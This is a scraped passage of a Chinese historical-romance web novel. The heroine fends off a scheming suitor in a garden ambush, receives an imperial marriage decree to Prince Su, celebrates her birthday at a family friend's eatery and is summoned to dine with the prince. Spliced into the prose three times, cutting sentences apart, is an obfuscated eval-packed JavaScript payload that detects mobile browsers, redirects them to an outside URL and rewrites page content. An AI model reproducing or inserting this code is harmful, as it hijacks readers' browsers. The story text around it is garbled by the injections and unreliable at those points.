红绸裹着的箱子摆满了甬道，来贺纳征礼的亲友们被安顿在临水的厅里，就着冰盆送来的凉风品尝小宴。席间闲谈说笑，无不夸赞魏淑云选了个好郎君，既有碾压同侪之才，又有此等忠厚之心，着实是好福气。 魏淑云一袭鲜丽衣裙，远远扫见许家送来的丰厚聘礼，听见宾客们的夸赞时，脸上虽竭力压着笑，心里却高兴得快要飞起来。 待嫁的女儿，到了厅中难免被女眷们打趣，她红着脸待了一阵，将夸赞听得心满意足时，才噙着笑从偏门出来。 厅外小雨淅淅沥沥，魏窈才刚忙完一件跑腿的差事，在廊下坐着歇歇。 魏淑云正得意，瞥见她后不由得走上前去，道：“今儿辛苦你了，居然还能帮我母亲招待宾客，也算有心。”她口中说着客套话，贴近魏窈耳边时，却又换上了嘲讽的语气，“羡慕吗？这么好的婚事，差点就让你抢走了。” “好在苍天有眼，许家也不傻，知道你乡下来的见识短浅。都快说定婚事了，人家却又缠着外祖父要退亲事，就是不肯娶你。” “长得好看有什么用呢，就算能蒙骗一时，终究也撑不了一世。” “你啊，就没有嫁给状元郎的命！” 魏淑云俯身低声说罢，先前憋着的那股闷气终于在今日的风光里消散了许多。她挑着得意的笑站起身，想起昨晚听见的秘语，忍不住讥道：“这样的机缘，你羡慕也没用，还不如等着表……” 说到这里，忽听背后一声轻咳，却是贺氏身边的孙妈妈。 她告诫般匆匆瞥了眼魏淑云，又向魏窈道：“夫人有一件要紧的珍珠插屏要用，这里腾不开手，麻烦姑娘走一遭，让青穂去把插屏抱来吧。” 说话间，将库房的钥匙交到魏窈手上。 又转身向魏淑云道：“不是说去换衣裳么，怎么还在耽搁，夫人们都等着呢。”说罢，拽住她胳膊，像是要往涵秋馆去。 魏淑云被她拖着往住处走，脸上却笑嘻嘻的，回头瞥了眼魏窈，一副看好戏的表情。 魏窈被她看得莫名其妙。 不过既是贺氏有命，今日诸事繁忙，她也没法偷懒。便让青穂撑伞，俩人走出回廊，沿着蜿蜒的水岸，往荷池对面高柳掩映的库房走。 …… 细雨天气微风凉爽，地上却有点湿滑。 青穂撑着伞小心往前走，脸上却分明忿忿不平，“二姑娘今日真是得意过头了！嫁给状元郎固然是好，可她怎么抢到婚事的，心里难道没点数么？外头那些个难听的谣言，可都是她传出去的！” “枉费许状元读书明理，竟瞧不透那点把戏，反倒让人牵着鼻子走。明明最初相中的是姑娘，却这么容易就改了主意。” 青穂小声抱怨着，觉得许约当真是心瞎眼瞎。 魏窈在旁听见，抿唇笑了。 许约是个怎样的人，她岂能不知？ 有读书的天资、肯吃苦不假，但十余年来每日只睡两个时辰才换得今日状元及第的风光，他是一心想拿婚事换前程的。朝堂上那么多重臣名儒，不乏温良正直之人，他却偏偏投靠了心术不端、靠讨好皇帝上位的贺崇，欲借姻亲青云直上，自然不是什么秉性端方的人。 前世他在贺崇的提携下做过多少昧心的事，魏窈可都是知道的。 这种人，哪怕真来求娶，魏窈也绝不会答应。 只是方才魏淑云那神态…… 魏窈总觉得她像是憋着什么坏水，正琢磨呢，忽听背后青穂一声闷哼。她还没来得及回头看清，就觉一只男人的手用力握住她的胳膊往旁边一拽，下一瞬，他的手紧紧捂在她的嘴上，拖着她进了旁边的假山洞。 熟悉却惹人生厌的气息笼罩过来。 魏窈被拽得一个趔趄，站稳后睁眼一瞧，果然是贺云章那狗贼藏身在此，趁她和青穂不防备，躲在此处偷袭。 一瞬间，她就明白了魏淑云那神情背后的缘故。 恼怒袭上心头，她冷冷抬目，叮嘱贺云章。 贺云章头回做这样的事，本就心中惴惴，被魏窈冷冰冰的视线一瞧，愈发心虚。他暂且不敢松手让魏窈出声，只按着她的肩膀和嘴巴将她抵在石洞里，低声道：“表妹别慌，是我。” 他身上有一股淡淡的酒气，大约是为了壮胆。 魏窈没说话，眼底却有蔑笑浮起。 贺云章觉察其意，自知今日这举动确乎有些下作，目光闪烁了一瞬，却并没有避开。 身为宠臣贺崇的嫡亲孙儿，贺云章其实也算是锦衣玉食、成群仆婢伺候出来的贵公子，平素固然也曾去歌坊舞肆，却仍常以正派自居。原本他是绝不屑于做这种事的，只是…… 自那日对魏窈的容貌一见倾心，贺云章便决意将这位新来的表妹娶进怀里，珍宝似的呵护着这位长在心坎儿上的美人。 先前荷花宴上错失机遇后，贺云章又屡献殷勤，或是送礼或是邀约，全都被魏窈拒之门外。 乃至前阵子，明明长辈们都答应了促成婚事，只等魏窈登临贺府时他阐明心意，或许便可好事将成。谁知魏窈竟跟避猫鼠似的，莫说给他见面说话的机会，竟连贺家的门槛都不肯踏了？ 贺云章不死心，豁出脸皮跟贺氏商议过后，便有了今日这出。 “表妹莫怕，我并没存坏心。”他怕魏窈挣扎，赶忙安抚，“实在是表妹深居简出，平常又都避着我，不肯多停留半步。我有好些话想说，又没旁的法子，只能出此下策。” 贺云章打量着曾数次入梦、如今却近在咫尺的眉眼，觉出魏窈并未用力挣扎，便稍缓力道，徐徐道来。 从他那日花厅初见时惊为天人，到之后的辗转反侧、思念入魂，他自以为动情的说着满腔情思。又说长辈早已允他所请，欲将魏窈娶进贺家，只要魏窈肯点头，往后他必定真心相待，生死不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176579|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负。 熟悉的论调，端的是深情款款、矢志不渝。 魏窈贴墙站在石洞里，眼底是他含情的眉眼，耳边是他殷切的坦白，却没有半个字真的落在心上。 她只是安静站着，心底一点点沉下来。 死性难改，贺氏如此，贺云章亦是如此。 当真以为她猜不出来么？ 今日她应了便罢，若不然，怕是又要重演前世荷花宴上的旧事——出了假山洞再走两步就是荷池，若贺云章拽着她“不慎落水”，对岸的宾客们察觉动静，她的前路岂不是又断送了？ 而始作俑者贺云章不过是担个思念佳人、酒后失当的名声罢了，被当成风流韵事调侃一阵，便仍可得偿所愿。 反正这是贺氏的地盘，就算魏芝翰有所不满，对着贺家的这对姑侄又能奈何？ 而贺云章口中所谓的深情厚爱，无非强求占据罢了，甚至不惜为此毁了她。 多傻啊，前世她竟有那么几瞬信了他的言辞。 魏窈挑起唇角，无声失笑。 贺云章原本被她冷淡的目光盯得心虚，瞧她忽而笑了，还以为是佳人为他情意所动，不由尝试着稍稍松开手。 见魏窈没反抗也没喊人，终于彻底松开。 魏窈抬眉，问得沉静，“你钟意我？” “我心悦表妹，此生不渝！” “所以半路劫道，做出如此失礼的行径？”魏窈诘问。 贺云章一心盼着她能接受心意，听见这句话，忙道：“今日是我酒后唐突，还望表妹宽宏大量。”他口中说着，双袖微摆，竟是要躬身作揖施礼赔罪的架势。 魏窈的手便在他这毫无防备的间隙里遽然扬起。 “啪”的一声，重重扇在他脸上。 这一巴掌掺杂太多，魏窈几乎用了浑身力气，打得极重，打完后手掌都火辣辣的疼。 贺云章明显被打懵了。 魏窈趁这间隙夺路而出，快步往远处走。 外面青穂原本被贺云章的小厮捂着嘴巴，死命挣扎都没能挣脱。等魏窈打人后走出假山洞，那小厮慌张之下劲道稍松，青穂立马拿手肘狠狠撞他一下，逃脱出来。 恰好被打懵的贺云章追出来，青穂愤怒之下顾不得别的，从后面用力一堆，将他重重推进水里。 噗通一声，水花溅起。 那小厮还没搞清状况，慌忙去捞自家主子。 魏窈已经拉着青穂快步走了。 待离得稍远点，回头瞧见扑腾着往岸边游的贺云章，乃至他脸上似乎隐隐浮起的青痕，魏窈不由给青穂比了个拇指。 “做得好！” 青穂听见夸赞，却笑不出来，只朝贺云章的方向“呸”了一声，骂道：“不要脸的狗东西，最好淹死他！姑娘快走，回头定得好好治他一顿！” 主仆俩走得脚步飞快，魏窈既知这是贺氏的奸计，自然不会再去取那珍珠插屏。拐个弯儿正往人多处走，忽见对面绿禾气喘吁吁的跑过来，见了她就眉开眼笑，“姑娘快跟我来，宫里来圣旨啦！” 她想起方才贺氏母女微妙的脸色，高兴之下，声音格外轻快，“说是来给姑娘道喜的，大家都等着呢，姑娘跟我快走！” 21. 021 宣旨的内监被请进正厅，正慢慢儿喝茶。 魏芝翰和贺氏夫妻两个在下首陪着，旁边是听到风声后特地赶来探消息的魏淑云，外头还站着几位正巧路过凑热闹的亲友。 瞧见魏窈，贺氏低头拂袖，藏起难看的脸色。 她今日原本是很高兴的，女儿得以许给新科状元郎，许家诚意满满的这幅聘礼在面子上也过得去，满席宾客对这桩婚事交口称赞，贺氏听着也难免得意——毕竟状元郎是稀罕物，能成为状元郎丈母娘的也屈指可数。 谁知满府的热闹竟会因魏窈而打断？ 得知宫人亲临府中传旨时，贺氏着实被惊得不轻，生怕是魏窈在外惹出祸端，以致皇帝传旨责备魏芝翰，甚至带累了她们母女俩。后来见内监面色和善，说是来给魏大姑娘“道喜”的，贺氏悬着的心才算落回腹中。 但新的担忧随之而起。 能让内监亲临道贺，魏窈这是踩狗屎运、要飞黄腾达了？ 心中既惊且疑，再想想后院荷池旁的假山洞里可能发生的事，贺氏更是暗暗捏了一把冷汗。 她没敢声张，一时担心魏窈真个走大运、压过魏淑云的风头，一时又担心贺云章酒后行事出格，闹出不好收拾的事来，耽搁了内监宣旨。这般坐立不安，只等魏窈好端端的赶过来，她才咬着牙松了口气，压下复杂心绪。 人既到了，一家子便整齐跪地，恭听内监宣旨。 圣旨先赞魏芝翰颇有才能，教女有方，后又将魏窈的姿貌品性一通夸赞，由皇帝亲自指婚，将她许给肃郡王为侧妃，就连婚期都定好了。 旨意宣毕，厅堂内外鸦雀无声。 宾客们都知道魏窈是从乡下寻回来的姑娘，刚回京城就卷入风波，名声不太好。如今忽而听说皇帝亲自赐婚，竟要将她许给肃郡王为侧妃，惊讶之下，一时间甚至怀疑是听错了。 最震惊的当属贺氏和魏淑云。 母女俩都认定魏窈先前见罪于肃郡王，是个上不得台面的，如今听她一跃而成为郡王侧妃，成婚后品级更在贺氏之上，惊愕嫉羡之下眼睛都红了。 俩人又不敢说话，只跪伏在地上，将银丝彩绣的衣袖抓成一团。 唯有魏芝翰知道些许内情，听了旨意后喜出望外，忙提醒魏窈领旨谢恩。 清越的谢恩声响起，内监捧着圣旨含笑道贺，魏芝翰忙起身招呼他们，以谢传旨之辛劳。 原本听懵了的宾客们也终于回过神来，意识到魏家这位长女是走大运要嫁入皇家了，当即围上来连声道贺。一时间，厅堂内外全都是夸赞魏窈品性才貌的，听得贺氏牙都快咬碎了，却不得不端着僵硬的笑脸受贺。 一团热闹里，有位从惠王府派来的小内监走至魏窈跟前，欠身低声笑道：“肃郡王殿下有件东西，叮嘱要送给姑娘。” 说着，从袖中取出个精致的小锦盒交到魏窈手里。 魏窈背过身避开旁人的视线，将那锦盒打开，里头竟是一盒细腻红润、质地极佳的口脂。 她怔了一瞬，猜到穆景初的意思后，不由失笑。 旁边青穂还以为那是寻常礼物，低声道：“肃郡王殿下可真贴心，这口脂真漂亮。姑娘——”她凑在魏窈耳边，嘻嘻笑道：“这日子不会是他特意选的吧？知道二姑娘做事不厚道，所以特地选在今天宣旨，盖住她的风头，帮姑娘出气。瞧她那得意劲儿全都没了，气死她！” 魏窈闻言瞥过去，果然看到魏淑云站在角落里，一袭鲜丽衣裳光彩照人，脸色却难看得很，嘴都快气歪了。 …… 一道圣旨将这一日划成了两半。 前半日属于魏淑云，满堂贺客都夸赞她嫁予状元郎的好婚事，后半日则尽属于魏窈—— 状元郎的风光只在一时，往后仕途如何没人能说得准。肃郡王却是实打实的皇家贵胄，魏窈只消嫁过去就有诰命，品级比在场的多半女眷都要高。往后若能得个一男半女，真个受皇家赏识册立为郡王正妃，贺家就实打实要变身皇亲国戚了。 何况肃郡王龙章凤姿，文能辅国武可征战，手腕学识都是满京城青年才俊都比不上的。 这才是别人羡慕不来的好姻缘呢！ 在场之人，除了魏芝翰之外，谁都没想到魏家还能捞着这等婚事，整个后晌都在议论道贺，反倒忘了今日主角。 这般热闹到傍晚时分，宾客才陆续散去。 贺氏笑得脸都僵了，想到魏窈鬼鬼祟祟瞒着的婚事，内里又是气闷又是躁郁，也吃不下东西，只灌了满肚子的茶水。好容易送走旁的女客，只剩娘家嫂嫂在侧，她再也装不下去，整张脸都拉下来，黑成了锅底。 崔氏焉能不知她的心思？ 瞧她斗败公鸡似的塌着腰坐在那里，丝毫没了先前的趾高气昂、春风得意，崔氏心里的滋味复杂难言。 情知劝说无用，也不好再跟贺氏一道私下里讥讽魏窈，她只能拍拍贺氏的肩，劝道：“累了整日，你就早些歇息吧，剩下的事往后再琢磨。” 说罢，自管携仆妇丫鬟出门，又让人去叫贺云章。 贺云章被推进水里后泡成了落汤鸡，自知不宜见客，便只寻个偏僻屋子躲着。后来听闻帝王传旨，魏窈要嫁入王府，更是五内如煎，此刻蔫头耷脑地走过来，倒似有些失魂落魄。 反倒是崔氏瞧见他脸上的青痕，皱眉道：“怎么挨打了？还打这么重？” 得知是魏窈的手笔，崔氏也是气得够呛，斥道：“早就让你收了那些心思，偏是鬼迷心窍，自轻自贱地跟着你那姑姑胡闹！如今可好，叫人打成这样，还怎么见人！京城里那么些高门贵女，娶谁不好，偏要跟那个人较劲！” 嘴里嘀咕着，将贺云章拽进马车里，愤愤走了。 这头姑嫂侄甥们各怀心思，怏怏不乐，外院的小书房里，贺崇的脸色也不甚好看。 今日是外孙女的好日子，他想来疼爱贺氏和魏淑云母女两个，自然不会缺席纳征这样的要紧场合。前晌倒也罢了，后晌一道旨意传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他原以为今日这桩赐婚是穆景初蓄意靠近魏窈，想借魏家这条线来探他的老底，如今看来，倒也未必。毕竟是陈年旧事了，当年皇太孙战死沙场之时，穆景初还在南边朱老将军麾下，隔着千里的少年郎，未必能窥得什么。 没准就是看上了魏窈的容貌，见色起意呢？ 毕竟，那丫头虽长在乡野之地，姿容却是放在京城都算出挑的，被人瞧上也不是异事。 且以肃郡王那高傲的性子，若真个起了疑心，又怎可能将魏芝翰认为岳父，甘愿做他名义上的外孙女婿？ 想必对当年的事是不知情的！ 既摸不清他的意图，为今之计也只能赌一赌了。 贺崇摸一把胡须，暂且没跟魏芝翰吐露什么，只叮嘱他好生操办婚事，往后对肃郡王多加留意，便自起身走了。 浮香院里，此刻的魏窈却是心怀大畅。 22. 022 实在由不得她不高兴。 筹谋许久的事终于尘埃落定，虽说穆景初不是真心娶她，但有了肃郡王侧妃的身份，她往后就无需被贺家掣肘。等顾顺娘的顺记小馆有了起色，没有贺家从中作梗，两人打探母亲下落时能少些阻碍。 甚至，他日若能寻得机会，借肃郡王之手将贺崇那老贼的罪行昭然于天下，没准还能盼到跟贺家清算旧账的时候！ 魏窈但凡想起今日贺氏母女吃瘪的样子，心里便觉痛快。 且这圣旨一出，她便成了皇帝钦定的郡王侧妃，贺云章就算吃了熊心豹子胆，想来也不敢公然做出抗旨不尊的行径。她更不必整日闷在院里寸步不出，忌惮那对姑侄鬼祟苟且的心思。 顺记小馆开张已有些时日了，她还没去看过呢！ 魏窈耐着性子等了两天，在八月初一清早给贺氏请安的时候，提到要外出一趟，“顾妈妈在外碰见了些麻烦事，需要我去瞧瞧。这事昨晚已经禀过父亲了，还望夫人应允，我在外定会谨慎行事的。” 她垂目说着，随口编造理由。 贺氏手里捧着一碗牛乳茶，明明喝在嘴里是香甜的，品出来却似添了一丝苦涩。 换在从前，魏窈能否出门都捏在她手里，她愿意给魏芝翰几分薄面便答应，若是不愿，莫说魏窈，魏芝翰都奈何不了她。如今可倒好，她这当母亲的被魏窈摆了一道，赐婚的事上毫不知情，一个不留神，竟让魏窈攀上了王府的高枝儿。 而魏芝翰也像是借这赐婚添了稍许底气，昨晚还让她别太约束魏窈。 分明是要她这当家主母捏着鼻子答应，由着魏窈来去呢！ 贺氏憋着一股气，碍着魏窈才刚被皇帝赐婚，一时间又不能强行阻拦、将事情做得难看，只能别开目光，不悦道：“早去早回。” 魏窈瞧见她那暗藏恼怒却不好发作的模样，心下愈发痛快，自管回浮香院换了身衣裳，脚步轻快地出门。 …… 马车直奔顺记小馆，在院门口停稳。 魏窈迫不及待地提着裙摆跳下车，还没站稳就闻到了一股饭菜的香味。 这会儿才刚巳时，还没到午饭的时候，院子里用餐的客人并不多，但已经有人家牌小丫鬟拎着食盒来买午饭了。 顾顺娘站在柜台后面，正在收客人结账的银钱，旁边有位眼生的大姐则忙着给人盛菜—— 柜台旁边的长案上，一溜摆着七八样凉拌的菜色、四五样大锅炒出来的热菜，两样热乎乎的肉汤，旁边一摞白饼和香喷喷的腊汁肉，是顾顺娘先前给魏窈尝过的肉夹馍。 正逢暑热天气，小馆里还准备了一缸绿豆汤、两瓮清凉的果饮，满满当当地摆在案台上。 瞧见魏窈，顾顺娘因正跟客人说话，便只笑着抬抬下巴，是让她随便坐坐的意思。 魏窈被那摆满长案的菜色吸引，不自觉凑过去瞧，嗅着隔空而来的香味，便知它们味道不错。菜色里有市井中常见的，也有魏窈先前没见过的，虽有些是大锅炒出，色相却极好。 眼生的大姐还以为她是客人，招呼着让她随便选，手底下却麻利干净，迅速给客人盛好菜色，放进旁边的托盘里。 魏窈瞧了一圈，暗暗纳罕。 少顷，孙大姐端着两盆新出锅的热菜过来补到长案上，顾顺娘趁机逮住她去柜台算账，总算抽出空暇来。 “怎么样，这小馆子瞧着如何？”她笑吟吟的，拿了果饮来给魏窈消暑解渴。 魏窈尝着那香甜滋味，直是刮目相看，“从前若知道顾姨有这般手艺，我定要吵着开个馆子，这会子怕是早就发财了。”她笑嘻嘻说着，又看向眼生的大姐，“这是新招的伙计？” “店里忙不过来，让沈歌帮着找了个帮手。”她揽着魏窈往阁楼上走，低声道：“那是周大姐，是个寡妇，在京城无依无靠的，又要养儿子，生计艰难。我瞧她老实肯干，手脚又麻利，便招了来做杂活，回头多给点银钱，她日子也好过些。” 这自然是好事！ 魏窈又指指嘴巴，“她嘴上兜的是什么？” “就当是个嘴兜子吧。她要招呼客人，询问她们要的菜色，难免张口说话，万一有唾沫星子，岂不难看？我给她收拾得整齐干净些，别人吃着放心，这生意才能长久做下去。” “这主意倒是不错。”魏窈挽着顾顺娘上楼，瞧她那幅万事尽在掌握之中的老练架势，总觉得她和记忆里性情柔顺、只会缝补浆洗的顾妈妈有很大不同，口中便叹道：“从前真瞧不出来您还有这些新奇主意。那些菜色，有好几样我都没见过。” “你没见过的多了！”顾顺娘朗声笑道。 “都是您琢磨出来的？还是去哪里偷师学了，深藏不露的？”魏窈打趣。 顾顺娘同她坐在茶桌旁边，取茶叶盒的手顿了顿，忽而抬目看向魏窈，认真道：“阿槿，你觉得我做事像变了个人，是不是？” “确实。”魏窈瞧着她，“天差地别。” “人活一辈子，缘分际遇都是很奇妙的。就像你，从前在乡下跟着沈歌疯玩胡闹，如今也沉稳起来了，知道沉着藏锋。而至于我——” 顾顺娘取茶烹水，觉得魏窈一时间接受不了真实理由，便斟酌着道：“有人灵光乍现，从此打通任督二脉，如有神助。有人梦里学艺，醒后改天换地。有人遭遇挫折，从此洗心革面，活出另一种人生。这世间有很多神妙的事，往后你就明白了。” 正说着，忽听外头有人笑道：“什么神妙，顾姨这是要大展拳脚呢！” 说话间软帘挑起，却是许久未见的沈歌，身上还穿着下值后未来得及换的官服。 魏窈当即笑而起身，“这么热的天儿，都不知道换身凉快衣裳。” “回家还得绕路，若来晚了，赶不上你的生辰小宴可怎么办？”沈歌说着，将手里拎着的糕点搁在架子上，又变戏法似的从身后掏出个漂亮的珠钗，“前几年不在家，这回正好赶上了，喜欢吗？” 魏窈眉开眼笑，“好漂亮！” “来，给你戴上！”沈歌平素都以男装见人，又是军旅之中，素来不用脂粉钗环。但女儿家的天性使然，对漂亮首饰的兴趣并未消弭，前些天跑了几家铺子精心挑选，此刻瞧珠钗戴在魏窈发间时光华暗生、极衬姿容，不免得意。 顾顺娘在旁道：“眼光确实不错！我这阵子太忙，没空上街闲逛，没旁的好送，只能送一桌小酒席，祭祭你们的五脏庙了！” 说着话，将茶壶递给魏窈，让她们俩自己泡茶喝，而后转身便往厨房里去。 沈歌帮她挑帘，唇边笑意更深，“就知道顾姨准备了好东西呢。” 魏窈泡着茶，也自失笑。 今日是她的生辰。 身为亲生父亲的魏芝翰早就忘得一干二净，顾顺娘和沈歌却一直记得。往年在邵州时，每尝魏窈生辰，顾顺娘总会在私下里操办些东西，予她岁岁欢喜，如今又有沈歌在侧，当真是更齐全了。 前世的凄风苦雨已成过往，如今至亲在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190897|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧，这样的和乐时光暌违已久。 魏窈斟一杯香茶，觉得那苦涩茶汤都似香甜起来，回甘亦似比平常浓了几分。 …… 一炷香的功夫之后，阁楼上脚步响动，青穂端着一盘香煎鲥鱼上来了。 过后陆续有菜上桌，很快堆满一桌。 这些都是顾顺娘今早准备的，凉菜稍早些拌好了放在地窖的食盒里，腌了一会儿后味道正好。旁的鱼、肉等物都是备好食材，方才青穂帮忙招呼客人，车夫被喊去灶下烧火，很快就整治齐全了。 从香糯的板栗鸡爪到爽口的火腿汤，俱是魏窈喜欢的菜色。 魏窈和沈歌又从地窖挑了一坛合口味的果子酒，杯盘碗盏铺开之后，三人在高柳掩映的窗畔对坐品尝。窗外食客往来，有早已被教导熟练的孙大姐看着，加上青穂打下手，店里自是有条不紊，热闹如常。 沈歌啃着软糯鸡爪，口中啧啧称叹，“先前还担心生意难做，想着怎么帮顾姨招揽客人呢，如今看来，真个是杞人忧天！我该担心客人太多，顾姨忙不过来，累坏身子。” “那有什么，人手不够就招些帮手。那些孤寡之人正愁生计呢，我要真能多招几个，也算是帮着养活她们家人了。” “顾姨是打算只招妇人？” 顾顺娘颔首，“这世道女人不容易，这些活计原也不难。” “我听说有人想要索唤，外头食店里似乎都请闲汉跑腿吧？”魏窈方才下楼时，正好听见客人跟孙大姐闲聊，想让顺记小馆把饭菜送上门的。 顾顺娘点点头，“别家确实如此。不过跑腿么，半大的小子能跑，咱姑娘就不能么？前些天街角的吴嫂子还说呢，她家丫头顽皮，在家闲着没事，想送来我手下帮忙。只是索唤不比店里，挨家挨户送东西，既要认路又要机灵，总要好生选选才是。” “这倒是个好主意，她们有了营生，在家里腰板也能硬些。”魏窈深以为然。 三人闲叙之间，不免又提起魏窈的婚事。 “皇上下旨将你许给肃郡王，你那继母听了之后，怕是头都要气掉了吧？”沈歌对贺氏母女没什么好印象，乐得看她们吃瘪。只是有些担心魏窈，“王府毕竟不比别处，虽说体面尊贵，真个嫁进去，怕是路也不好走。” 这何尝不是魏窈所忧心的？ 即便穆景给过了承诺，但世事无常，一个出身低微的女子孤身嫁进王府，身份悬殊之下，许多事恐怕也不是她所能预料的。 但世间又有那条路是十拿九稳的坦途呢？ “若不去王府，恐怕我那位继母就会撺掇着把我塞进贺家。”魏窈抿唇摇头，“在王府忍气吞声，总好过在贺家的地盘看他们眉眼高低。” 何况，她还想寻回母亲，甚至让贺家轰然倾塌。 这些事，唯有借穆景初之力。 “听说肃郡王从前在朱老将军麾下待过，他在军中口碑如何？”魏窈有些好奇。 沈歌道：“那是多年前的事了，不过听军中老将们偶尔提起，对肃郡王倒是夸赞居多。说他虽贵为皇孙，却不是骄矜之人，跟军士们同吃同住，打仗的时候也是身先士卒，算是个很好的将帅。” “不过毕竟是征战之人，难免沾上些武将大老粗的习气，或许不太会怜香惜玉。” 沈歌说着，轻拍了拍魏窈的手，“不过咱也别指望旁人，往后不管在哪里，自己待自己好，才是最靠得住的。” “放心，我如今对自己可好了！”魏窈莞尔。 23. 023 闲聊之间，日头渐渐过了晌午。 沈歌和魏窈歇了午觉，睡舒服之后起身，却又留下青穂在小馆帮忙，她们三人则乘车往护国寺里去—— 往年魏窈生辰时，顾顺娘都会带她去进香，或做些善事，既是祈求魏窈能够长命顺遂，实则也暗里祈祷旧主郦氏能够平安。 从前俩人手里的银钱有限，能做的也只是些小事。如今顾顺娘的小馆子开张，每日里生意兴隆，手头宽绰得多了，能做的事自然也更多。 在护国寺进香之后，三人又拐道前往附近的福田院。 照旧是魏窈和顾顺娘坐在车厢里，沈歌大喇喇地坐在车外，跟车夫一左一右。途中碰见卖冰酥酪的铺子，她便跳下车买几份过来，消暑之余又商量着晚饭该去哪里好生搓一顿。 还没商议定，忽有辆马车从前面巷口拐出，不偏不倚，正好拦在了魏家的马车跟前。 未及沈歌出声发问，车旁有道熟悉的人影翻身下马，磊落身姿几步上前，拱手道：“魏姑娘，殿下有事相邀，请姑娘随我走一趟。” 那语气，分明是不容拒绝的。 沈歌才将最后一勺酥烙吃完，闻言挑了挑眉—— 这人怎就断定魏窈在车上？是记住了魏家的车夫么？郡王府的人竟这么细心？ 正胡思乱想，魏窈已掀起车帘。 瞧着是先前在涵园外见过的王府随从，她虽不知穆景初忽然拦路所为何事，念及穆景初这人无事不登三宝殿，便也没推辞。便让顾顺娘和沈歌照旧去福田院，晚饭不必等她。回头车夫将两人送回顺记小馆，载着青穂自管回家就成。 叮嘱毕，便提裙下车。 沈歌打小拿她当亲妹妹来看，虽说知道魏窈嫁进王府远胜于被贺氏拿捏着另嫁别处，瞧见对方强硬的做派时，到底有些不爽。 便自跳下车辕，扬眉道：“客气点，不许欺负我妹妹！” 知白瞥了她一眼，竟点点头，“好。” 说罢，待魏窈提裙登上王府的马车时，他又忍不住看了沈歌一眼。 上回魏窈去涵园就是这人陪着，让他印象十分深刻，今日竟又同车出游……魏家并无儿子，想来这是魏窈亲戚或邻家的哥哥。 容貌长得那样俊秀，可别把郡王给比下去才是。 知白翻身上马，临行前又忍不住看了眼。 马车辘辘，拐进小巷后穿过闹市，最终停在一座清雅的园林门前。 魏窈随知白进去，走过两座稍矮的似乎有人设宴的小阁楼，最后停在竹林后那座傍水而建的三层彩绘阁楼跟前。 槭树掩映，门前地上有仙鹤闲游。 守在檐下的婢女恭敬施礼，魏窈随她上楼，进了雅间后绕过屏风，就见穆景初坐在窗畔的圈椅里，正就着晚风看夕阳。 而他的身旁…… 魏窈只看了一眼，便呆住了。 屋里摆满了花。 从正当节令的鲜花，到不该在盛夏时节出现，却在此刻怒放的春日花草，层叠错落地摆在跟前，硬是将这座雅间装点成了春意盎然的花房。 香气袭来，魏窈不由深吸了口气。 她甚至忘了跟穆景初施礼，只将视线落在那一堵漂亮的花墙上，沉浸于其鲜丽绰约的姿态，指尖亦抚上就近的鲜嫩花枝。 晚风拂入窗槛，金色斜阳铺在地面。 穆景初瞥见盈盈立于花畔的身影，唇角轻挑，旋即轻咳了声。 魏窈回过神，忙同他见礼。 穆景初抬手示意免礼，起身走向屏风旁摆着几道凉菜的饭桌，招呼魏窈落座。 候在雅间门口的婢女瞧见，便即转身出去，安排人上菜。 精致菜肴陆续上桌，亦有婢女贴心地添酒斟茶，人影来去之间，伴着偶尔入窗的晚风，花香时而浓烈时而淡雅，真个是赏心悦目。 魏窈规规矩矩地坐在椅中，穆景初品尝刚奉来的香茶，偶尔抬目看魏窈一眼，也不过淡淡一瞥，仿佛已忘却了上回将她按在角落硬亲的事。 直到最后一道热菜上桌，婢女含笑施礼道：“菜色都齐备了，奴婢就在阁楼下候着。两位若是有吩咐，只管摇桌边这铃铛。” 说罢，依序施礼退出。 屋里重归安静，魏窈瞧着桌上的诱人菜色，有点犯馋。不过对面坐着个清冷端然的穆景初，她不好露出馋相，只抬眸道：“不知殿下唤我过来，是为何事。” “圣旨到后，令尊怎么说？”穆景初问。 “家父深感皇上恩德，命我好生准备，往后务必尽心侍奉殿下。” “你那继母呢，也没说什么？” 提起这茬，魏窈不由笑了笑，“殿下挑了个好日子，宣旨那日正逢家中小妹纳征之礼。”她觑了眼穆景初的神色，有点怀疑他是故意的，便又道：“我那继母前晌是状元郎的岳母，后晌又跟皇家沾了亲，亲友们纷纷道贺，她岂能不高兴。” 哪怕是心下再恨，当着宾客的面，贺氏不也得堆出笑脸来附和，违心夸赞魏窈品貌俱佳、皇帝慧眼识人么？ 魏窈想起当时那情景就想笑。 穆景初竟也勾了勾唇，“我听说贺崇原本选了你嫁去许家，想来也是赏识你。那道圣旨出来，他没跟你道贺？” “这倒没有。”魏窈总觉得以穆景初的性子，未必瞧得上贺崇那种溜须拍马的做派，逮着这机会，正好撇清关系，解释道：“我虽依礼唤他一声外祖父，实则非亲非故。他原先那些打算，原也是醉翁之意不在酒，并非真的为我着想。” 撇清的意思太过明显，让穆景初稍觉意外。 